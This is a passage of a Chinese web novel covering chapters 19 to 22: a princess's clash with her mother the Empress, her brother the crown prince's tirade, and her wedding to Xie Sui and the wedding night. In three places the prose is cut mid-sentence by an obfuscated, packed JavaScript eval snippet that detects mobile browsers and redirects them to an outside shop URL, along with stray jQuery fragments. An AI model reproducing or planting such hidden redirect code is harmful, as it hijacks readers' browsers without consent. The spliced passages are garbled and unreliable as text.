冯重明听到消息后连夜召集太医前去法云寺问诊,却被太后毫不客气地扫地出门。最后让一个太医乔装打扮成乡野郎中,这才见到了太后娘娘。只是那位太医从法云寺出来后摇了摇头,说太后娘娘身体强健,她患的是心病。 谁都知道郎中能治身体上的伤病,心病却是无药可医。 冯重明一个人在太极宫素衣斋戒了整整五日,其间数度昏迷,可太后还是未见有丝毫好转。于是朝中大臣便提了冲喜的法子。冯妙瑜的婚事本定在暮秋,眼下被匆匆提前到了一个半月后的六月初八,所有人都忙得不可开交。 冯妙瑜上午才送走指点婚礼礼仪流程的嬷嬷,刚用过午膳,六局的两位姑姑登门拜访。她的嫁衣虽说早几年就备下了,但这几年冯妙瑜又长高了不少,还得重做。好不容易量完身、敲定了嫁衣的样式花样,负责土木营造的宫人又来了,说是新长公主府修缮中他们有拿不准的地方,须得冯妙瑜亲自去看一看。 新长公主府是那日后冯重明赐于她的,也在崇明坊内。占地比她如今的府邸宽敞许多,有山有水的,只是那地方许久没有人住,要修整打扫的地方不少,都不知道能不能赶在她成亲前修葺完。 冯妙瑜就跟着那宫人一起去了新府邸,等看完后天都黑透了。崇仁坊南边就是平康坊,伶人歌声淡淡飘在空气里,冯妙瑜正靠着迎枕闭着眼睛小憩,马车却突然停了。她掀帘看去,此处离公主府还有些距离,道路两旁飞檐斗拱的影乌泱泱压下来,有个人在前面挡住了去路。 大红宫灯,青绸制宫装,张氏身边的大宫女郑姑姑笑着行了个礼,道:“奴婢见过公主。皇后娘娘请您去凤仪宫一叙——” “请吧?” 这一天总要来的。 冯妙瑜在心里哀叹。 眼下冯敬文被父皇下令禁足,还有她自作主张的婚事。张氏怕是要气死了。冯妙瑜朝太极宫的方向望了眼,披着琉璃金瓦的庞然大物坐落于北方夜幕之下。明知道前方是一场鸿门宴,可她却不得不去。 不过这段时间忙得不可开交的不只冯妙瑜一人,谢随也没有好到哪里去。 秘书省校书郎这份差事虽然清闲,但他才入官场,有不少要打点学习的地方,还要顾着婚事和蛮族的交易等等。好在秘书省监王望大人看在昔日与谢玄交情份上对他多有照拂,公事上的提点自不必说,还将自己在通义坊的老宅暂借给谢随居住。通义坊交通便利,谢随无论上朝还去衙门都方便了不少,只是通义坊中人多眼杂,见客就不大方便了。 夏宵原先可以大摇大摆的走后门来找谢随,现在只能趁着夜色翻墙溜进来——为此夏宵可没少抱怨。 王家老宅里除了谢随外,只有两个负责日常洒扫看家的老仆役,本就安静极了,入夜后更是一片死寂,那两个老仆役睡得早,偌大的宅院里唯有纸页翻动的莎莎声。 夏宵虽然没有收买到朝中大臣,却对盛京以及周边大小官员做了详尽的调查,如今那份调查文书就在谢随手上,倒是给他省了不少功夫。 只是…… 献王好南风,似与半年前进京赶考的三名士子失踪一案有关。附证词三十页。 谢随眉头微皱,指尖飞快地翻动着手里的文书,下一条写的是盛京某位素来以古板严正著称的名士在外面偷偷养了三房外室,再下一条还是某位官员的风流韵事……砖石般厚重的文书里只有不到三成和朝务相关,其余部分全是充斥着调查者个人恶趣味的街巷八卦。 谢随叹了口气,有种在大海里捞针的无力感。 他揉了揉眉心,书桌上烛火跳动着,明日一早还得去衙门应卯,他起身准备去睡觉,门却响了。 “谁?” 那叩门的声音并不大,在寂静的夜里却格外刺耳。谢随下意识从桌上摸了把文刀防身。 隔扇门忽然吱呀一声开了。 “来送酒的。” 浓密的黑发,一张小麦色的爽朗笑脸出现在眼前。深蓝色蛮服,万俟闻晃了晃手里两个大酒坛子。 “听说你要成亲了,恭喜恭喜。” 他笑起来的时候,右唇唇角露出颗尖尖的小虎牙。谢随不动声色地放回了刀,眼睛却望向他身后,带着些警惕的。 “你一个人来的?” “不然?”万俟闻大马金刀的在一只椅子上坐下,一把拍开酒坛盖子,酒香弥漫。他玩味道:“难不成你希望我妹妹也一起过来——你不会瞧上她了吧?” 那天那个在角落里抚琴的蒙面姑娘就是万俟闻的亲妹妹。 谢随取了两只酒杯过来,闻言侧颈一凉,只觉得荒谬至极。他还记得那日临走时,那姑娘可是毫无征兆抽刀架在他脖颈上放话威胁他的。万俟闻怎么会觉得他对她妹妹有意思。 “你误会了。”谢随冷冷道。 “瞧瞧你那表情,我妹妹可是我们巫阳部数一数二的美人,刀法也是数一数二的漂亮,想求娶她的人比大草原上的草还多,”万俟闻用大拇指和食指扣着酒碗,颇有些自豪,他看着谢随秀美而冷漠的侧脸,摇了摇头,“好了,我开玩笑呢。你们这些中原人怎么一个个都死气沉沉的,酒也软绵绵的,没劲儿,真没劲儿。” 他随手扔给谢随一只银色戒指,因岁月侵蚀暗淡发黑的戒面上环绕着细密的纹路。 “我们送你的贺礼。”万俟闻顿了顿,“看上去是不怎么样,但它是一个承诺,可比那些光有个样子的金银要贵重得多。”他又大力拍着谢随的肩膀,道:“我前些日子见到了你的准夫人,漂亮,人也挺好,恭喜了。要好好待人家,别总板着张脸。” 谢随抬头,无意识的皱眉,他道:“她找你做什么?” 难得见他表情松动,万俟闻就很新奇,左瞅瞅右瞅瞅。 “瞧你那紧张样。她不过是来打听一下王妃的情况,托我们捎封信件过去,她的皇妹前些年嫁给了我父王——你的准夫人是我父王王妃的姐姐,按照你们中原人的算法,我还得叫你一声姨夫嘞。” 谢随抿着嘴。 万俟闻这厮的眼神好像不大好。他对冯妙瑜不过是利用罢了,这厮从哪里看出他紧张了,一颗棋子而已,他有什么好紧张的。 —— 迈入凤仪宫宫门时,冯妙瑜深深地吸了口气。 朱红色宫墙白日里瞧着富丽堂皇,一到了夜间,火烛摇曳,冯妙瑜总觉得有股阴冷气从里面渗出来,可眼下是夏天。会有这种感觉大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张氏像只被人踩到了尾巴的猫,她的嘴唇都在颤抖,冯妙瑜甚至能看见她眼睛里的血丝,冯妙瑜往后轻轻退了半步,生怕张氏又发疯随手抄起东西砸人。 不过这次张氏要比上次冷静得多,没砸人,她用手指着门,一字一句,“好嘛,你现在是长大了翅膀硬了是吧?给我滚出去!就当我从来就没有过你这个女儿,以后别让我看见你踏入凤仪宫半步!滚出去!” “您说的好像我很愿意来这里似的。滚就滚,反正您满心满眼装的也不是我——想来没了我也无所谓,反正您有敬文就够了不是吗。”冯妙瑜挺着下巴,不甘示弱。 “儿臣告退。” 冯妙瑜想了想,最后还是从袖子里抽出一个盒子轻轻放在了门口。那是她在来的路上买的,不是什么贵重玩意,杏花楼做的金乳酥而已。本来是拿来讨好张氏的,如今是用不着了。只是那金乳酥是按照张氏的口味做的,鼾甜,自己留着吃还是给别人都不合适。不如放在这里。是扔了、烧了还是拿去喂狗,随她便了。 冯妙瑜推开了厚重的宫门。 外面是伸手不见五指的长夜,零星灯光远远漂浮着,鬼使神差的,她又回头看了一眼。凤仪宫内,张氏整个人笼在紫青色的烟雾中,朦胧一片。 她一狠心扭头离开了。翠珠正提着一只小灯站在不远处等她出来。 20. 成亲 不管发生了什么,那日子还是得往后过下去的。 天气一点点热起来,冯妙瑜的婚期也一天一天地逼近了。按老祖宗传下来的规矩,直到婚礼那日冯妙瑜都不能见谢随,也不能打听他的消息,她不知道谢随这些日子都在做什么,就忍不住的胡思乱想。他是不是只是一时冲动,他会不会后悔了?加之琐事缠身,冯妙瑜一连好几日没睡好,整个人愈发烦躁起来。 这一早翠珠给她梳头,冯妙瑜望着外头阴沉沉的天,手指在妆台边上哒哒哒敲了好一阵子,她道:“一会你去司天台帮我问问初八的天气,要是下起雨来可就糟了。” 翠珠回道:“公主,您忘了?昨天,前天,还有大前天您不是都叫人去司天台问过了,他们保证了,说初八那日肯定不会有雨的。” 冯妙瑜闻言蓦地一怔,她倒真忘记了这回事。 “但也说不准。夏天天气多变,你还是叫人再跑去问一趟,”冯妙瑜就说,说话的空当,她又瞄见了一边还空着的酸枝木的衣架子,不由皱眉,急道:“明天就要用的吉服和花钗怎么还没有送过来?” “最迟今晚前肯定能送来了。公主您且宽宽心,这些事情都由宫里的老嬷嬷安顿好了,就是天塌下来了,也断不会出岔子的。”翠珠笑道。 用过早膳后果然下起雨来。 桌上点了灯,烛火燃烧使得屋里更闷热了。冯妙瑜在心里顺了遍明日的流程后,捏着手屋里来来回回地走动,太难熬了,她还半真半假的和翠珠抱怨说“真是麻烦,干脆私奔算了!”翠珠笑着回她,“连这种话都能说出口,公主真是急疯了。”——不过这种话她也只敢和翠珠说了。换了阿玉,指不定第二天早上推开门就能看见谢随被五花大绑着架在公主府门口,车马行囊,万事俱备。 想来也会是桩奇事。 这时候,有侍女进来传话说林家的公子过来拜访。 林修远来做什么?冯妙瑜一面暗自疑惑,一面又觉如释重负。灰蒙蒙的天,蒸笼般的闷热,屋里贴着大红色喜字,她心底却隐隐约约的不安。一切都很顺利,没有任何原因,但她心里就是闷闷的难受。 这种时候有个人能聊聊再好不过了。别说是林修远,这时候就是苍宴路过,她都得叫翠珠拿一碟瓜子拉着他聊上一会。 林修远在正厅里等她,天水碧紫花短袄,底下一条茶褐袴褶,饶是早有心里准备,冯妙瑜还是眼前一黑,不由伸手在门边扶了一下。 这个人到底哪来这么多丑衣裳啊。 冯妙瑜吩咐人上了茶,这些日子公主府上下忙碌,一面顾着婚事,一面顾着搬家的事情,两头忙活,难免有不周到之处。林修远别扭地鼓囊了句“好茶”。他今日是来送贺礼的,一尊羊脂白玉和碧玉的玉百合盆栽,雕功细腻,价值不菲。只是就同辈来说,这份贺礼似乎有点太贵重了。 冯妙瑜迟疑了一下,还是道了谢,叫人收下去登记了入库。 林修远低着头又喝了口茶,他一向大大咧咧惯了,眼下自己也摸不准自己的心思。 他只是听家中长辈无意提起长公主有意择他为驸马。婚姻之事,合二姓之好,轮不到他做主,一开始他是有点不乐意的,后来嘛,反正他也不讨厌冯妙瑜。再然后,就莫名其妙的跳出来一个叫谢随的人成了她的驸马。倒不是喜欢或者不喜欢,只是心里空空的……是那种本该属于自己的东西突然跑到了别人手里的感觉,有点不甘心罢了。 “贺礼既然送到了,那我也该走了。你的喜酒我是没机会去喝了。”林修远道。 走? 他这是要去哪里啊? 冯妙瑜抬起头看着他,有些摸不着头脑。 “我父亲要放我去西境历练,今晚就出发。”林修远顿了顿,“这一去,我可能要好几年才能回来了。” 西境远在千里之外,条件艰苦,一切都不比得盛京。蛮族和大梁间虽无战事,但时有摩擦。眼下四海升平,但对武将来说,却没有比西境更合适建功立业的地方了。 这是好事。 只是等他再回到盛京时,怕是要大变样了。 冯妙瑜有些感慨,又听他语气低落,以为他是不舍得离开盛京,毕竟这一去远离家乡也不知道要多久才能回来。她就拍了拍林修远的肩膀,说了些诸如“男子汉大丈夫志在远方”一类的安慰话。 林修远临行前还有不少事情要处理,没坐多久便告辞离开了。冯妙瑜叫翠珠拿了伞,一路把他送到了公主府门口。 西境啊…… 冯妙瑜叹了口气。她其实一直想去那里看看。教授她蛮语的那位学者自称是逃难者,他口中什么王选,什么部族之争冯妙瑜都不太明白,只记得他酒不离身,时常喝的烂醉。不过他喝醉了倒也不闹事,只是会变得多话。一望无际的草原,喀斯河从自冰山上流下蜿蜒穿过草原……冯妙瑜很是向往。可盛京周边既没有草原,也没有冰山。何况她是长公主,眼下还马上就要成亲,怎么说也不可能跑去那里。 林修远的身影消失在了巷角。 人家在百忙之中亲自过来送新婚贺礼,礼尚往来,冯妙瑜觉得自己也不能没有表示,就叫人开库房取了那把乌号弓速速送去南安侯府上。 那弓是柘木做的,弓是好弓,只可惜冯妙瑜对武术一窍不通。苍宴是惯于用剑的,府上另外两个会武的翠珠阿玉都是暗卫——暗卫总不能背着一把大弓到处晃悠吧。好弓配英雄,想来那把弓若是通人性也会很开心的,总算能争口气不用在她的库房里落灰了。 —— 稍晚些时候,几个宫里的老嬷嬷浩浩荡荡地来了。八九只绑着红绸的衣箱整齐摆在屋里,老嬷嬷们依次打开箱子,登时金碧辉煌。花树,博鬓,一整套的花钗冠,另附各式金银杂宝,剩下的箱子里是深青色绣金翟衣,披帛,中单,蔽膝,丝的,绸的,纱的……这都是明日要穿的可马虎不得,翠珠等人忙取了火斗一件件熨烫平展了挂在衣架上,又搬来衣薰笼熏香。玫瑰暖香暗暗浮动。 冯妙瑜指尖轻轻地滑过那些美好的织物。如今正是榴花盛开的时节,榴花明艳,石榴多子多福,没有比这个更好,更应景的意头了,于是那衣裳上除了按制的翟鸟花纹外还绣上了石榴花,火红灼眼。 不是梦。 她是真的要嫁给谢随了。 织金绣线华丽冰凉的触感,其实到了这个时候她才有几分落在地面上的实际感。 老嬷嬷们又叮嘱了冯妙瑜两句,便叫她早早回屋上床去睡了,明天可是大日子,还有得她忙的呢。 夏夜隐约蝉鸣,凉风里掺杂着隔扇外面嬷嬷们的低底的交谈声,她们大概是在商量明日的安排吧,像是蚕啃食桑树叶子的声音,沙啦沙啦的。冯妙瑜躺在床上翻来覆去,最后睁开眼睛看着屋里的灯火,隔着一层缥色纱帐,灯火看起来是圆圆的一团,那件嫁衣就在一旁,青红交织,当真漂亮极了。 “快睡着,明日还要早起,要早起的......” 冯妙瑜又翻了个身,强迫自己不去盯着那套嫁衣。她也不出声,只是微动嘴皮默默念叨着,念叨着念叨着,就慢慢入睡了。 翌日一早,天色都还是雾霭般的蓝灰,冯妙瑜就被嬷嬷们倒腾起来了。沐浴,焚香,更衣……一套流程下来,直到被按在妆台前坐下时她的眼睛都没完全睁开。她平日都是睡到日上三竿才起,但今时可不同于往日。再过会宾客们就要到了,翠珠本想喊醒冯妙瑜,却被一个老嬷嬷拦住了。 “这才是个头儿呢,公主就是再睡会也不打紧的。”那老嬷嬷熟练道。 托那嬷嬷这句话的福,冯妙瑜又得以昏昏沉沉盹了小半个时辰,待梳弄好头发,阿玉端了糖饼和粥过来让冯妙瑜草草垫了两口,前来观礼的宾客已陆陆续续到了。除冯妙瑜的外祖张家的人,还来了不少内外命妇。冯妙瑜极少参加宴会一类,只勉强认得几个打过交道的妇人。不过这种日子是人越多,越热闹越好,认不认识,熟不熟悉倒是其次了。孩子们在院子里面玩闹,冯妙瑜被妇人们簇拥着,她们的赞美之词如水倾斜而下。 这是一个女子一生最重要,最隆重的时候了。前路迷茫,至少带着祝福出发。 趁着上妆前,冯妙瑜得空回头望了一圈。 张氏没有来。 阿玉捧了花钗过来。红漆嵌螺钿喜鹊登梅长方盘,凤尾花树华光流转,屋里静了一会,所有人的目光都追随着那上面一颤一颤的金银珠花。这样华贵的东西也只有宫里的能工巧匠才做得出来。 仁亲王妃赵氏笑着催促道:“真好看!这样精巧的花钗妾身还是头一回见到呢。公主快戴上,快戴上,好让我们瞧瞧开开眼界。” 既然有人起了头,于是屋里的其他人也跟着赞叹起来。 “这有什么可新奇的,没见过世面的乡巴佬就是小家子气。”却有人在后面刻薄道。 冯妙瑜下意识回头,那人抱着胳膊站在门边上,檀色纱衣,斑白的头发梳得一丝不苟,她的五官和赵氏有三四分相似,只是要枯瘦很多,比起赵氏的一团和气就多了几分刻薄。微陷的两颊和锋利的下巴,都是岁月生活并未善待而她留下的痕迹。 赵氏的脸色有些难看。 “献亲王妃,大喜的日子你说什么呢……”有人劝说道。 冯妙瑜这才想起来那人是献亲王妃王氏,她记得这位献亲王妃王氏和赵氏还是远亲来着,只是王家显赫,而赵家就要差一点了。王氏冷哼一声出去了,赵氏轻轻叹了口气,“表姐就是那个性子,公主您可千万别往心里去,她……也有说不出口的难处。” 冯妙瑜并不在意这个,屋里很快又笑笑闹闹起来,老嬷嬷用一对长长的金博鬓固定住了花树冠,眼下离吉时还有些时候,外面却突然嘈杂起来。 硬邦邦的脚步声,站在外面些的妇人看见来者纷纷垂首行礼退下,也没个人过来通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418995|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传一下,是谁来了?冯妙瑜好奇地伸脖子往外看—— 是冯敬文。 他冲进来见一屋子女眷先愣了一下,但他是蛮横惯了的,当着众人面指着冯妙瑜的鼻子就骂道:“又是你做的好事吧?你就这样下贱么?我警告你,你可少管我的事!” 冯妙瑜只觉得莫名其妙。好端端的日子他突然来发什么疯。 “本宫和明珠的事情是你捅出去的吧?现在明珠死了,父皇关了我快两个月——我吃尽了苦头,你可满意了?” 冯敬文身后有个拎着一只大袋子的书童,随着他一声令下,金银画卷叮铃哐啷洒落一地。 “你就这么爱管闲事吗?收买我身边的人是吧,我今日来就是要和你说一声,收了你东西的这些人我已经下令全部革职了!如今有父皇和母妃宠着你,哼,等我坐上那个位子,第一件事就是砍了你的脑袋挂在城外面让鸟兽啄啃!贱人!” 他叉着腰骂的越发起劲了,腌臜下流的话一句一句蹦出来。 不堪入耳。 这是弟弟该对姐姐说的话么。 冯妙瑜慢慢地靠在椅背上,深深地吸气,而后吐气。她突然就想笑了。他生得什么气啊,好像受了委屈的人是他一样——该愤怒,该委屈的人是她才对吧?他凭什么把火气撒在她头上……他有什么资格这样做。她可从来没欠他过什么。 “这种话,还是等你真坐上了那个位子再来和我说吧。” “宠着我?脏活累活,烂摊子全是我的,你把这个叫做宠爱?这些年,没有我在前面给你挡着后面帮衬着,你自己办成了几件事情?你可知道宫里宫外有多少人多少眼睛在盯着那个位子,盯着你?光是殴打使臣这一件事就能叫你粉身碎骨了!你什么都不明白!”冯妙瑜颤抖着说。 过去她总觉得人心都是肉长的,将心比心,付出了总有一天能得到回应。冯敬文只是年纪小顽皮,等过几年他懂事了就会好了……她这样骗自己,年复一年,被仔细庇护在羽翼之下的人总是有恃无恐,甚至是理所当然的。所以她就该被人这样欺辱轻看了么。 冯敬文忽然有些烦躁。 心里好像有一个声音在隐隐劝他说开弓没有回头箭,有些话是不能说出口的,那话说出来就真的要失去了。 他抿了下嘴唇,心底里那点自尊心却站了上风,他于是抬脚踢翻了一旁的衣架,嚷嚷道:“你吓唬谁呢?你以为你是什么东西,你就等着吧,少了你在一旁碍手碍脚,本宫自己做得更好!像你这样的人没了更好,早点去死吧!” 这话实在伤人。 冯妙瑜的眼角隐隐泛了水光,她没说话,只抬眼盯着上面缠着红绸的梁柱。今天是大喜的日子,还能和过去彻彻底底做一个了断,哭什么啊,有什么好哭,她该笑才是。 “太子殿下。” 翠珠狞着脸,一脸不情愿被几个老嬷嬷推进了屋里。两尊大神在里面斗法,谁想头一个进来当出头鸟,但她身后立着三个膀大腰圆的嬷嬷,来都来了,翠珠只好顶着冯敬文的眼刀子往上,硬着头皮道:“吉时就要到了,公主还有要收拾准备的,这会您在里面实在是不大方便……” “少管闲事,做好女子的本分,绣绣花得了。”冯敬文冷哼一声,转身离开。 见太子离开,方才匆匆跑出去“避难”的嬷嬷和妇人们又一窝蜂涌进来,谁也不提之前的事,见冯妙瑜眼角的妆有些花了,几个嬷嬷赶紧拿了珠粉和胭脂过来补上,又往她手里塞了把纨扇。 接下来要去辞别父皇母后,引礼女官已经在外面等着了。 大殿上设两座,冯重明着常服坐于东侧,西侧只是个空座位。 张氏是真的没有来。 要说心里没有失望那肯定是骗人的。 冯妙瑜垂着眼睛按照女官的引导向冯重明行了大礼,又向那个空座位行了礼,礼毕,冯重明看着女官扶她起身,竟一时语塞。 “往后他若是待你不好,只管来和朕说。” 冯重明本来是想拍拍她的手背,才伸手却被冯妙瑜一个闪身躲开了。冯重明的手就停在了半空中,有些尴尬。 “谢父皇。”冯妙瑜行了个礼。 她是不会跟他说的。 这个时候谢随已在宫门处等候了。冯妙瑜在一众命妇的簇拥下上了轿,轿帘是喜庆的正红色,她捏着扇柄,有些恍惚和忐忑。 “公主,扇子,扇子啊。” 直到降了轿,嬷嬷在她耳边出言提醒,冯妙瑜才回过神来。 她忙抬起纨扇挡住脸,想了想,又趁着嬷嬷不注意偷偷把扇子往左移了一点。 她瞥见一只白皙的手掀起了车帘。 浅青色官袍,腰环鍮石之带,谢随今日穿着一身九品文官官袍,在他身后是一片如洗碧空,毫无阴霾。正如司天台所言,六月初八是个极好的大晴天。 冯妙瑜深吸了一口气,慢慢起身下了轿。 21. 21 夏天日头长,到了酉初天色仍不见暗。 “皇后娘娘?” 郑姑姑端了碗消暑的绿豆百合汤轻手轻脚进了凤仪宫,却见张氏正站在隔扇窗前发呆,喜庆的吹打声隔着老远飘进殿内,平日这个时候张氏多是恹恹倚在榻上的,郑姑姑不由疑惑道。 “吵死了。一大早开始就吹吹打打的,报丧呢。”张氏立马甩上了窗子。 郑姑姑是张氏还做姑娘的时候就跟在她身边伺候的,再没有比她更了解张氏的人了。 侍奉张氏用了凉汤,郑姑姑一面给张氏打着扇,一面说道:“这宫里许久没有这样热闹过了。奴婢又想起了娘娘您出阁的时候。那时候老夫人嘴上不说,心里却是十万分惦记着您的,一个劲的往您的嫁妆箱子里添东西,家底都快掏空了,生怕您入了王府被人家看轻了去。” “反正都是往火坑里跳,金多银少又有什么分别?”张氏尖酸道。 郑姑姑道:“到底一辈子也就这么一回……” 她倒不是为了冯妙瑜说好话,她只是太了解张氏了。郑姑姑这些年能坐稳凤仪宫大宫女的位子,靠的不是指哪打哪,而是揣摩透了张氏的意思。 “等她日后吃了苦头就明白了,我们张家的女人都是蠢货,所以没有一个好命的,”张氏从旁取出一个木盒交给郑姑姑,那木盒瞧着有年头了,却不见一点锈迹灰尘,显然是用心保管的,“拿去吧,这会人应该还没出宫。” 郑姑姑咧嘴笑了,“奴婢待会一定睁大了眼睛仔细瞧,回来一点不漏的转告给您。” “不过就是穿了个嫁衣,她什么模样我又不是不知道,有什么好看的。”张氏口是心非。 —— 接下来就要去新长公主府了。 冯妙瑜由嬷嬷搀扶着才坐进花轿,就被人叫住了。郑姑姑也顾不得礼仪周全了,拎着宫装大步上前,终于赶在起轿前将那木盒递给了冯妙瑜。 “娘娘身体抱恙,不能过来,特意嘱托奴婢将此物送给公主。”郑姑姑的声音很柔和,“恭喜公主。” 冯妙瑜眨了眨眼睛,她抓着木盒,只觉得鼻根微微发酸。 张氏到底没有忘记她。 冯妙瑜本想说点什么,只是吉时已到,再不走就要耽搁拜堂了,她只能匆匆道:“母妃还好么?” 郑姑姑笑着点点头。这个时候轿夫已抬起了花轿,鼓乐又起。从宫里到崇仁坊并不远,冯妙瑜平复了心情,伸手打开木盒。 平平无奇的木盒,金宝地妆花云锦里十分宝贝地包着一只旧素金镯子。冯妙瑜在木盒底部触到了一条凹凸不平,“桃之夭夭,其叶蓁蓁。之子于归,宜其家人。”那是很多年前刻上去的字,冯妙瑜突然想起张氏的名字里就有一个蓁字。多年前祖母也是这样送她的女儿出嫁的吗?冯妙瑜将那只镯子套到了自己手腕上。① 新长公主府外面热闹极了,花轿才到巷口就能听见噼里啪啦的鞭炮声和人来人往的谈笑声。 冯妙瑜吸了口气。她今日穿戴的那花树冠和嫁衣都是实打实的重工——简言之,非常沉重,非常的不方便,何况她一只手还得举扇掩面。她由嬷嬷扶着跨了马鞍,小步小步挪到了正堂。 谢随,引礼女官和赞礼早已在里面候着了。 拜天地,拜高堂,夫妻对拜。礼毕,冯妙瑜被嬷嬷扶着入了洞房。新长公主府占地极广,洞房并未设在正屋,而设在了临水的听荷轩。一则此地凉快,二则听荷轩离正堂更近,她能少走两步,就少受两步的罪。 屋里挤满了前来观礼的女眷,亲王妃,公侯夫人……眼花缭乱,全盛京有头有脸的女子似乎全塞在这一间屋里了。没多久,外面传来嘈杂人声,是谢随过来了,好几个女眷笑眯眯地拎着棍棒出去了。 外面顿时一片鸡飞狗跳,还夹杂着几个男傧相的狂笑声。 一个白白胖胖的妇人过来给冯妙瑜递了个垫腰的软枕,她是谢随的顶头上司,秘书省监王大人的发妻葛氏。 “杀威棒,不痛不痒的,”葛氏捂着嘴笑道:“先好生杀杀新郎官的威风,看他日后敢不敢欺负公主。” 被好生杀了一通威风,谢随好不容易进了屋,却早有两位面善心慈的女“程咬金”候在门边拦路。一个笑着文邹邹说:“良辰美景,才子佳人,岂可无诗乎?”另一个则命人递上了备好的锦笺笔墨。 谢随是正儿八经的状元郎出身,作首却扇诗自然不在话下,提笔挥墨,文章天成。赞礼在他身后高声念出,大红色锦笺翻动着传递过来,男傧相们齐齐叫道:“好诗,好诗!” 确实是好诗,这锦笺可得留下来好好保存才是。冯妙瑜一面接了锦笺想着,一面又被他们哄得有些局促起来,她正要放下扇子,却叫人拦住了。 “这还没成亲呢,公主可不能这样好说话惯着驸马——会把他惯坏了的。他既能写,就叫他多写几首出来,试试他的底细。” 可她的手酸的要命啊。冯妙瑜欲哭无泪。 赵氏也在一旁冲她挤眉,也说:“是这个理儿,公主,可不能这么轻易放过他。” 冯妙瑜一个人哪里拗得过她们一群人,于是那锦笺又叫传了回去,女眷们开始起哄,“才作一首哪里够诚心,瞧不起谁呢?再来,再来!” 红笺翻飞,哄闹声里,谢随又作了整整七首出来她们才许冯妙瑜放下扇子,冯妙瑜整条胳膊都麻了,不过经这么一闹,她倒没那么紧张不安了。 女眷们笑着腾开道路,冯妙瑜抬眼就见谢随走过来,他身上别了朵有些傻气的大红绸花,脸上微笑着,那笑就像那朵红绸花,只是虚虚挂在身上……没到眼底里,更没浸到心底里。 也许是错觉。冯妙瑜想,她有些晕晕乎乎的。是饿得。 女官很快奉上合卺酒,雕了葫芦纹的金杯,冯妙瑜仰头一饮而尽,合卺礼毕后众宾就都散去吃席了,谢随去了前院应酬,冯妙瑜也终于得以解脱,翠珠和阿玉进来服侍她去了簪钗花钿,也许是饿过头了,香喷喷的通花软牛肠,白龙臛端上来她也只扒拉了两三口。 前院里的喧闹声从一早开始就没停过。虽说因太后病着喜事不宜大办,但长公主成亲,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14436436|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少受冯妙瑜提携的朝臣携家眷前来庆贺,还有谢随那方的客人,秘书省的同僚,谢家曾经的故旧——当年谢家出事没几个出来帮忙,如今看着谢家又有东山再起之势,已错过了雪中送炭,锦上添花的机会可不能再错过了……寒门和世家,这两拨人平日在朝堂上都恨不得往对方脸上啐两口再踩两脚,但今天是大喜的日子,两边也暂时放下成见,举杯同饮,倒是一派和气融融。 认识的,不认识的,谢随一一应酬过去,又特地过去给王大人敬了杯酒,王冕笑着受了谢随的酒,他看着谢随,神情却有些复杂。 当年王谢两家交好,谢随几乎是他看着长大的。如今再见谢随,人还是那个人,只是似乎不似以前纯粹了。这场婚事背后恐怕也少不了他的算计……这究竟是好是坏呢?王冕在心里叹一声,只道:“既尚了公主,可要好好待人家。” “那是自然。”谢随道。 滴水之恩,当涌泉相报。恩人之仇,自当百倍奉还以报之。 用过晚膳后,冯妙瑜由翠珠阿玉服侍着沐浴更衣,阿玉正在给冯妙瑜梳发,翠珠匆匆忙忙跑进来,“驸马过来了!” 冯妙瑜的心忽然就跳到了嗓子眼里。隔间门被人推开了,很快有水声传来。冯妙瑜从镜子里看到了一个面红耳赤的自己。 那种事情先前自有嬷嬷过来教导,可问题是那嬷嬷就说了句到时公主且放松躺平,驸马自会服侍公主。 这话说了和没说有什么区别。 听说宫里也派了人去谢随处教导,至于教导的内容冯妙瑜都不敢想……她就求助似的望向阿玉。企图从阿玉这里获得一些情感支持。 阿玉放下梳子行了个礼,“公主,那奴婢退下了。嬷嬷特意嘱咐说今晚驸马来了我们就退下,还让我们在院子外面值夜,您有事可得大点声喊。” 真是疾病乱投医,她对阿玉这个木头报什么期待呢,至于翠珠,那小狐狸早就脚底抹油远远地溜开了。 随着隔扇门开关,夏夜的凉风溜进来拍的那火烛一闪一动,澡豆气味里掺杂着淡淡的酒香,床榻微微下陷,有具温热的身体几乎贴着她坐下了,他的手指无意间擦过她的。 “失礼了。”谢随就说。 冯妙瑜低着头,恨不得把头埋到膝盖里去。碰下手是失礼,那接下来要做的事情岂不是罪该万死了。 屋里除了一对大红花烛,还点了六七盏小灯,冯妙瑜一直低着头,长长的睫毛像小蝴蝶的翅膀忽闪忽闪的,谢随准备起身,“我去熄灯。” “不用,这样就好。” 冯妙瑜下意识制止道,她夜里要点着灯才能睡着。说完,却对上谢随略带惊愕的眼神。 “公主难道喜欢……亮一点?” 原来她喜欢看的清清楚楚…… 不是!绝对不是!她不是那个意思啊!冯妙瑜面上一热,忙摇头,她跳起来扯下床前的纱帘,大红色纱帘朦胧散落下来,贴身的青色寝衣勾勒圆润的曲线,当真如玉琵琶一般。 一只手突然自从身后扣住了她的腰,往下一拉。 22. 22 两人昨晚乱了大半夜才睡下,不过冯妙瑜一向睡得浅,迷迷糊糊听到有动静就睁开眼。 